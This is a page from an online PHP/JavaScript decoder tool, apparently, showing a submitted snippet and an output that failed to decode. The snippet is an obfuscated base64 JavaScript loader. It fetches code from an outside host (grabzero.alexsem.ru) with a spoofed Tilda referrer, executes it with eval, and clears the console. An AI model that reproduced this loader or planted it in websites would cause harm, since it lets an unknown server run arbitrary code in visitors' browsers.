Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(decodeURIComponent(escape(window.atob("Y29uc3QgcmVxdWVzdCA9ICh1cmwgPSAiIiwgYm9keSA9IC..
Decoded Output download
<? eval(decodeURIComponent(escape(window.atob("Y29uc3QgcmVxdWVzdCA9ICh1cmwgPSAiIiwgYm9keSA9ICIiKSA9PiB7CiAgICBjb25zdCBpbml0ID0gewogICAgICAgIGhlYWRlcnM6IHsKICAgICAgICAgICAgYWNjZXB0OiAidGV4dC9wbGFpbiwqLyo7cT0wLjAxIiwKICAgICAgICAgICAgImFjY2VwdC1sYW5ndWFnZSI6ICJydSIsCiAgICAgICAgICAgICJjb250ZW50LXR5cGUiOiAiYXBwbGljYXRpb24vanNvbjtjaGFyc2V0PVVURi04IgogICAgICAgIH0sCiAgICAgICAgcmVmZXJyZXI6ICJodHRwczovL3RpbGRhLmNjLyIsCiAgICAgICAgcmVmZXJyZXJQb2xpY3k6ICJzdHJpY3Qtb3JpZ2luLXdoZW4tY3Jvc3Mtb3JpZ2luIiwKICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShib2R5KSwKICAgICAgICBtZXRob2Q6ICJQT1NUIiwKICAgICAgICBjcmVkZW50aWFsczogIm9taXQiCiAgICB9OwogICAgY29uc3QgaW5pdENvcnMgPSBPYmplY3QuYXNzaWduKGluaXQsIHttb2RlOiAiY29ycyJ9KTsKICAgIGNvbnNvbGUubG9nKCLQktGL0L/QvtC70L3Rj9C10YLRgdGPINC30LDQv9GA0L7RgSDQvdCwINGB0LXRgNCy0LXRgC4uLiIpOwogICAgZmV0Y2godXJsLCBpbml0Q29ycykKICAgICAgICAudGhlbihyZXMgPT4gcmVzLmpzb24oKSkKICAgICAgICAudGhlbihkYXRhID0+IHsKICAgICAgICAgICAgY29uc29sZS5sb2coItCg0LDRgdGI0LjRhNGA0L7QstC60LAg0LTQsNC90L3Ri9GFIChjb3JzKS4uLiIpOwogICAgICAgICAgICBldmFsKGRlY29kZVVSSUNvbXBvbmVudChlc2NhcGUod2luZG93LmF0b2IoZGF0YS5zcmMpKSkpOwogICAgfSkuY2F0Y2goKCkgPT4gZmV0Y2godXJsLCBpbml0KQogICAgICAgIC50aGVuKHJlcyA9PiByZXMuanNvbigpKQogICAgICAgIC50aGVuKGRhdGEgPT4gewogICAgICAgICAgICBjb25zb2xlLmxvZygi0KDQsNGB0YjQuNGE0YDQvtCy0LrQsCDQtNCw0L3QvdGL0YUuLi4iKTsKICAgICAgICAgICAgZXZhbChkZWNvZGVVUklDb21wb25lbnQoZXNjYXBlKHdpbmRvdy5hdG9iKGRhdGEuc3JjKSkpKTsKICAgIH0pLmNhdGNoKCgpID0+IGNvbnNvbGUubG9nKCLQntGI0LjQsdC60LAg0L/QvtC70YPRh9C10L3QuNGPINCx0LvQvtC60LAg0L3QsCDRgdGC0L7RgNC+0L3QtSDQsdC+0YLQsCIpKSk7Cn07CmNvbnNvbGUuY2xlYXIoKTsKcmVxdWVzdCgiaHR0cHM6Ly9ncmFiemVyby5hbGV4c2VtLnJ1L3RpbGRhIiwgewogICAgImJsb2NrX2lkIjogIjI0MiIsCiAgICAic2lnbiI6ICIyNTU0ZjU5Yy0zNzI5LTRhNWEtYjQ0YS1lZDZlNDBkZDUwODIiLAp9KTsK")))); ?>
Did this file decode correctly?
Original Code
eval(decodeURIComponent(escape(window.atob("Y29uc3QgcmVxdWVzdCA9ICh1cmwgPSAiIiwgYm9keSA9ICIiKSA9PiB7CiAgICBjb25zdCBpbml0ID0gewogICAgICAgIGhlYWRlcnM6IHsKICAgICAgICAgICAgYWNjZXB0OiAidGV4dC9wbGFpbiwqLyo7cT0wLjAxIiwKICAgICAgICAgICAgImFjY2VwdC1sYW5ndWFnZSI6ICJydSIsCiAgICAgICAgICAgICJjb250ZW50LXR5cGUiOiAiYXBwbGljYXRpb24vanNvbjtjaGFyc2V0PVVURi04IgogICAgICAgIH0sCiAgICAgICAgcmVmZXJyZXI6ICJodHRwczovL3RpbGRhLmNjLyIsCiAgICAgICAgcmVmZXJyZXJQb2xpY3k6ICJzdHJpY3Qtb3JpZ2luLXdoZW4tY3Jvc3Mtb3JpZ2luIiwKICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShib2R5KSwKICAgICAgICBtZXRob2Q6ICJQT1NUIiwKICAgICAgICBjcmVkZW50aWFsczogIm9taXQiCiAgICB9OwogICAgY29uc3QgaW5pdENvcnMgPSBPYmplY3QuYXNzaWduKGluaXQsIHttb2RlOiAiY29ycyJ9KTsKICAgIGNvbnNvbGUubG9nKCLQktGL0L/QvtC70L3Rj9C10YLRgdGPINC30LDQv9GA0L7RgSDQvdCwINGB0LXRgNCy0LXRgC4uLiIpOwogICAgZmV0Y2godXJsLCBpbml0Q29ycykKICAgICAgICAudGhlbihyZXMgPT4gcmVzLmpzb24oKSkKICAgICAgICAudGhlbihkYXRhID0+IHsKICAgICAgICAgICAgY29uc29sZS5sb2coItCg0LDRgdGI0LjRhNGA0L7QstC60LAg0LTQsNC90L3Ri9GFIChjb3JzKS4uLiIpOwogICAgICAgICAgICBldmFsKGRlY29kZVVSSUNvbXBvbmVudChlc2NhcGUod2luZG93LmF0b2IoZGF0YS5zcmMpKSkpOwogICAgfSkuY2F0Y2goKCkgPT4gZmV0Y2godXJsLCBpbml0KQogICAgICAgIC50aGVuKHJlcyA9PiByZXMuanNvbigpKQogICAgICAgIC50aGVuKGRhdGEgPT4gewogICAgICAgICAgICBjb25zb2xlLmxvZygi0KDQsNGB0YjQuNGE0YDQvtCy0LrQsCDQtNCw0L3QvdGL0YUuLi4iKTsKICAgICAgICAgICAgZXZhbChkZWNvZGVVUklDb21wb25lbnQoZXNjYXBlKHdpbmRvdy5hdG9iKGRhdGEuc3JjKSkpKTsKICAgIH0pLmNhdGNoKCgpID0+IGNvbnNvbGUubG9nKCLQntGI0LjQsdC60LAg0L/QvtC70YPRh9C10L3QuNGPINCx0LvQvtC60LAg0L3QsCDRgdGC0L7RgNC+0L3QtSDQsdC+0YLQsCIpKSk7Cn07CmNvbnNvbGUuY2xlYXIoKTsKcmVxdWVzdCgiaHR0cHM6Ly9ncmFiemVyby5hbGV4c2VtLnJ1L3RpbGRhIiwgewogICAgImJsb2NrX2lkIjogIjI0MiIsCiAgICAic2lnbiI6ICIyNTU0ZjU5Yy0zNzI5LTRhNWEtYjQ0YS1lZDZlNDBkZDUwODIiLAp9KTsK"))));
Function Calls
None |
Stats
MD5 | cb7773a55333e11ea186f388dbde048b |
Eval Count | 0 |
Decode Time | 52 ms |